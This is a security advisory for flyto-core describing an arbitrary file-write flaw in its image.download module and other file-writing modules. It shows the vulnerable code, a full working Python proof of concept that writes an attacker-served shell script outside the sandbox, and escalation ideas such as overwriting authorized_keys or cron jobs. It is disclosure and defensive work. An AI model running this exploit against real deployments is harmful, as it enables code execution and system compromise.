GHSA-2956-977X-2W3R
Vulnerability from github – Published: 2026-07-30 14:46 – Updated: 2026-07-30 14:46Summary
image.download fetches a URL and writes the response to disk. It does not use the central path guard (validate_path_with_env_config, which confines writes to FLYTO_SANDBOX_DIR); instead it confines the output to output_dir, but output_dir is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.
Affected code
src/core/modules/atomic/image/download.py:
output_path = params.get('output_path')
output_dir = params.get('output_dir', '/tmp') # caller-controlled base
...
base_real = os.path.realpath(output_dir)
target_real = os.path.realpath(output_path)
if os.path.commonpath([base_real, target_real]) != base_real:
raise Exception('Invalid file path') # base is attacker-chosen, so always passes
...
content = await response.read() # attacker-hosted bytes
with open(target_real, 'wb') as f:
f.write(content)
commonpath is used correctly, but the base is caller-supplied, so setting output_dir='/' passes any target. file.write, by contrast, uses validate_path_with_env_config() and stays inside FLYTO_SANDBOX_DIR.
This is not isolated to image.download. Most other file-writing modules write to a caller output_path with no path check at all: image.convert, image.resize, image.crop, image.compress, image.rotate, image.watermark, image.qrcode_generate, document.excel_write, document.pdf_fill_form, document.word_to_pdf, document.pdf_to_word and browser.pagination. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; image.download is the strongest because the bytes are arbitrary.
Reproduction
Save as filewrite_poc.py, run with PYTHONPATH=src/src python filewrite_poc.py. It sets FLYTO_SANDBOX_DIR to a sandbox dir and writes to a sibling directory outside it.
#!/usr/bin/env python3
import asyncio
import os
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # let the content host pass the SSRF check
EVIL = b"#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n"
class Content(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.send_header("Content-Type", "image/jpeg")
self.send_header("Content-Length", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL)
def log_message(self, *a): pass
async def run(mid, params):
from core.modules.registry import ModuleRegistry
try:
return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={}))
except Exception as e:
return ("EXC", f"{type(e).__name__}: {e}")
async def main():
from core.modules.atomic import register_all
register_all()
threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever, daemon=True).start()
root = tempfile.mkdtemp(prefix="flyto_poc_")
sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox)
escape = os.path.join(root, "ESCAPE"); os.makedirs(escape)
os.environ["FLYTO_SANDBOX_DIR"] = sandbox
target = os.path.join(escape, "pwned") # OUTSIDE the sandbox
print("A) file.write:", await run("file.write", {"path": target, "content": "x"}))
print("B) image.download:", await run("image.download", {
"url": "http://localhost:8080/x.jpg", "output_dir": escape, "output_path": target}))
print("file written outside sandbox?", os.path.exists(target))
if os.path.exists(target):
print("content:", open(target, "rb").read())
if __name__ == "__main__":
asyncio.run(main())
Output:
A) file.write: ('EXC', 'ModuleError: [PATH_TRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...')
B) image.download: ('RESULT', {'ok': True, 'path': '<root>/ESCAPE/pwned', 'size': 79, ...})
file written outside sandbox? True
content: b'#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n'
file.write refuses the out-of-sandbox path; image.download writes attacker bytes there. Reproduced through the running HTTP API as well.
Reachability (why this is not operator self-service)
output_dir, output_path and url are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic execute_module(module_id, params) MCP tool (core/mcp_handler.py, params taken from the model's arguments) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. FLYTO_SANDBOX_DIR and the guard file.write uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior.
Impact
Write arbitrary content to an arbitrary path outside the operator's sandbox — overwrite config, drop a shell profile, cron job or authorized_keys, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows).
Suggested fix
Use validate_path_with_env_config() for every module that writes files, so all writes are confined to FLYTO_SANDBOX_DIR (a base the caller cannot change), never to a caller-supplied output_dir.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "flyto-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.26.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67429"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-30T14:46:43Z",
"nvd_published_at": "2026-07-29T19:16:52Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\n`image.download` fetches a URL and writes the response to disk. It does not use the central path guard (`validate_path_with_env_config`, which confines writes to `FLYTO_SANDBOX_DIR`); instead it confines the output to `output_dir`, but `output_dir` is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.\n\n## Affected code\n\n`src/core/modules/atomic/image/download.py`:\n\n```python\noutput_path = params.get(\u0027output_path\u0027)\noutput_dir = params.get(\u0027output_dir\u0027, \u0027/tmp\u0027) # caller-controlled base\n...\nbase_real = os.path.realpath(output_dir)\ntarget_real = os.path.realpath(output_path)\nif os.path.commonpath([base_real, target_real]) != base_real:\n raise Exception(\u0027Invalid file path\u0027) # base is attacker-chosen, so always passes\n...\ncontent = await response.read() # attacker-hosted bytes\nwith open(target_real, \u0027wb\u0027) as f:\n f.write(content)\n```\n\n`commonpath` is used correctly, but the base is caller-supplied, so setting `output_dir=\u0027/\u0027` passes any target. `file.write`, by contrast, uses `validate_path_with_env_config()` and stays inside `FLYTO_SANDBOX_DIR`.\n\nThis is not isolated to `image.download`. Most other file-writing modules write to a caller `output_path` with no path check at all: `image.convert`, `image.resize`, `image.crop`, `image.compress`, `image.rotate`, `image.watermark`, `image.qrcode_generate`, `document.excel_write`, `document.pdf_fill_form`, `document.word_to_pdf`, `document.pdf_to_word` and `browser.pagination`. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; `image.download` is the strongest because the bytes are arbitrary.\n\n## Reproduction\n\nSave as `filewrite_poc.py`, run with `PYTHONPATH=src/src python filewrite_poc.py`. It sets `FLYTO_SANDBOX_DIR` to a sandbox dir and writes to a sibling directory outside it.\n\n```python\n#!/usr/bin/env python3\nimport asyncio\nimport os\nimport tempfile\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nos.environ[\"FLYTO_ALLOWED_HOSTS\"] = \"localhost\" # let the content host pass the SSRF check\nEVIL = b\"#!/bin/sh\\n# attacker-controlled content written outside the sandbox\\necho pwned\\n\"\n\nclass Content(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200); self.send_header(\"Content-Type\", \"image/jpeg\")\n self.send_header(\"Content-Length\", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL)\n def log_message(self, *a): pass\n\nasync def run(mid, params):\n from core.modules.registry import ModuleRegistry\n try:\n return (\"RESULT\", await ModuleRegistry.execute(mid, params=params, context={}))\n except Exception as e:\n return (\"EXC\", f\"{type(e).__name__}: {e}\")\n\nasync def main():\n from core.modules.atomic import register_all\n register_all()\n threading.Thread(target=HTTPServer((\"127.0.0.1\", 8080), Content).serve_forever, daemon=True).start()\n root = tempfile.mkdtemp(prefix=\"flyto_poc_\")\n sandbox = os.path.join(root, \"sandbox\"); os.makedirs(sandbox)\n escape = os.path.join(root, \"ESCAPE\"); os.makedirs(escape)\n os.environ[\"FLYTO_SANDBOX_DIR\"] = sandbox\n target = os.path.join(escape, \"pwned\") # OUTSIDE the sandbox\n print(\"A) file.write:\", await run(\"file.write\", {\"path\": target, \"content\": \"x\"}))\n print(\"B) image.download:\", await run(\"image.download\", {\n \"url\": \"http://localhost:8080/x.jpg\", \"output_dir\": escape, \"output_path\": target}))\n print(\"file written outside sandbox?\", os.path.exists(target))\n if os.path.exists(target):\n print(\"content:\", open(target, \"rb\").read())\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```\n\nOutput:\n\n```\nA) file.write: (\u0027EXC\u0027, \u0027ModuleError: [PATH_TRAVERSAL] Path escapes base directory: \u003croot\u003e/ESCAPE/pwned ...\u0027)\nB) image.download: (\u0027RESULT\u0027, {\u0027ok\u0027: True, \u0027path\u0027: \u0027\u003croot\u003e/ESCAPE/pwned\u0027, \u0027size\u0027: 79, ...})\nfile written outside sandbox? True\ncontent: b\u0027#!/bin/sh\\n# attacker-controlled content written outside the sandbox\\necho pwned\\n\u0027\n```\n\n`file.write` refuses the out-of-sandbox path; `image.download` writes attacker bytes there. Reproduced through the running HTTP API as well.\n\n## Reachability (why this is not operator self-service)\n\n`output_dir`, `output_path` and `url` are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic `execute_module(module_id, params)` MCP tool (`core/mcp_handler.py`, `params` taken from the model\u0027s `arguments`) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. `FLYTO_SANDBOX_DIR` and the guard `file.write` uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior.\n\n## Impact\n\nWrite arbitrary content to an arbitrary path outside the operator\u0027s sandbox \u2014 overwrite config, drop a shell profile, cron job or `authorized_keys`, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows).\n\n## Suggested fix\n\nUse `validate_path_with_env_config()` for every module that writes files, so all writes are confined to `FLYTO_SANDBOX_DIR` (a base the caller cannot change), never to a caller-supplied `output_dir`.",
"id": "GHSA-2956-977x-2w3r",
"modified": "2026-07-30T14:46:43Z",
"published": "2026-07-30T14:46:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-2956-977x-2w3r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67429"
},
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc"
},
{
"type": "PACKAGE",
"url": "https://github.com/flytohub/flyto-core"
},
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.